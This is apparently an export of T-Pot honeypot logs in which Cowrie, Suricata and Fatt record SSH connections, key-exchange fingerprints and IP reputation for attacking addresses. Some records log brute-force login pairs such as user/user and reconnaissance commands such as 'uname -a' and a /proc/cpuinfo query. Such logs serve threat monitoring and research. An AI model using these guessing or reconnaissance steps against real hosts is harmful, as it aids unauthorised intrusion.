33736	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:56:40.070277+03	2021-09-20 15:00:06.235722+03	{"_id": "UwYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "acc299e8eac6", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:56:40.070277Z", "@timestamp": "2021-09-20T11:56:40.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33737	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:56:39.961011+03	2021-09-20 15:00:06.237723+03	{"_id": "VwYQA3wBvYTbRNuEu1EB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 1843988222385985, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36330, "dest_port": 22, "timestamp": "2021-09-20T11:56:39.961011Z", "@timestamp": "2021-09-20T11:56:39.961Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33745	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:32.602827+03	2021-09-20 15:00:06.247722+03	{"_id": "DQYQA3wBvYTbRNuEnlFo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "uname -a", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:32.602827Z", "@timestamp": "2021-09-20T11:56:32.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33738	5.188.62.250	109.199.241.180	Suricata	2021-09-20 14:56:39.877487+03	2021-09-20 15:00:06.238723+03	{"_id": "WQYQA3wBvYTbRNuEu1EB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "flow_id": 694362916230156, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52216, "dest_port": 22, "timestamp": "2021-09-20T11:56:39.877487Z", "@timestamp": "2021-09-20T11:56:39.877Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33739	5.188.62.250	109.199.241.180	Fatt	2021-09-20 14:56:39.877675+03	2021-09-20 15:00:06.239722+03	{"_id": "WgYQA3wBvYTbRNuEvFEO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 52216, "dest_port": 22, "timestamp": "2021-09-20T11:56:39.877675", "@timestamp": "2021-09-20T11:56:39.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33740	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:40.43678+03	2021-09-20 15:00:06.240723+03	{"_id": "XwYQA3wBvYTbRNuEvVGv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:40.436780Z", "@timestamp": "2021-09-20T11:56:40.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33741	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:56:31.497269+03	2021-09-20 15:00:06.241722+03	{"_id": "AAYQA3wBvYTbRNuEmlF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:37502 (192.168.176.2:22) [session: ac67423231a4]", "session": "ac67423231a4", "@version": "1", "protocol": "ssh", "src_port": 37502, "dest_port": 22, "timestamp": "2021-09-20T11:56:31.497269Z", "@timestamp": "2021-09-20T11:56:31.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33742	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:32.076308+03	2021-09-20 15:00:06.242721+03	{"_id": "BgYQA3wBvYTbRNuEmlF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "120.36.157.98", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5816006660461426, "duplicate": true, "timestamp": "2021-09-20T11:56:32.076308Z", "@timestamp": "2021-09-20T11:56:32.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33743	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:56:31.634661+03	2021-09-20 15:00:06.244722+03	{"_id": "BwYQA3wBvYTbRNuEm1G9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:56:31.294765+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1399248653352813, "payload": "AAADzAYUwfJF4x0lURtpdU/iZ0r3/QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37502, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:56:31.634661Z", "@timestamp": "2021-09-20T11:56:31.634Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........E..%Q.iuO.gJ.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33744	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:32.484503+03	2021-09-20 15:00:06.246722+03	{"_id": "CgYQA3wBvYTbRNuEnlFo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:32.484503Z", "@timestamp": "2021-09-20T11:56:32.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33746	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:56:32.259312+03	2021-09-20 15:00:06.248723+03	{"_id": "DgYQA3wBvYTbRNuEnlFp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [rupert/rupert] failed", "session": "ac67423231a4", "@version": "1", "password": "rupert", "username": "rupert", "timestamp": "2021-09-20T11:56:32.259312Z", "@timestamp": "2021-09-20T11:56:32.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33747	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:32.196634+03	2021-09-20 15:00:06.250723+03	{"_id": "EAYQA3wBvYTbRNuEnlFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "110.137.195.172", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.41370272636413574, "duplicate": true, "timestamp": "2021-09-20T11:56:32.196634Z", "@timestamp": "2021-09-20T11:56:32.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33748	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:56:33.47663+03	2021-09-20 15:00:06.251723+03	{"_id": "EgYQA3wBvYTbRNuEolFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ac67423231a4", "@version": "1", "duration": 1.9788072109222412, "timestamp": "2021-09-20T11:56:33.476630Z", "@timestamp": "2021-09-20T11:56:33.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33749	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:33.46634+03	2021-09-20 15:00:06.252722+03	{"_id": "FQYQA3wBvYTbRNuEolFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:33.466340Z", "@timestamp": "2021-09-20T11:56:33.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33750	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:34.33787+03	2021-09-20 15:00:06.254722+03	{"_id": "GwYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:34.337870Z", "@timestamp": "2021-09-20T11:56:34.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33751	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:34.420649+03	2021-09-20 15:00:06.255722+03	{"_id": "HAYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:34.420649Z", "@timestamp": "2021-09-20T11:56:34.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33752	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:34.712092+03	2021-09-20 15:00:06.257722+03	{"_id": "HgYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "120.36.157.98", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.29149460792541504, "duplicate": true, "timestamp": "2021-09-20T11:56:34.712092Z", "@timestamp": "2021-09-20T11:56:34.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33753	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:56:35.296347+03	2021-09-20 15:00:06.258722+03	{"_id": "JQYQA3wBvYTbRNuEqFGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", 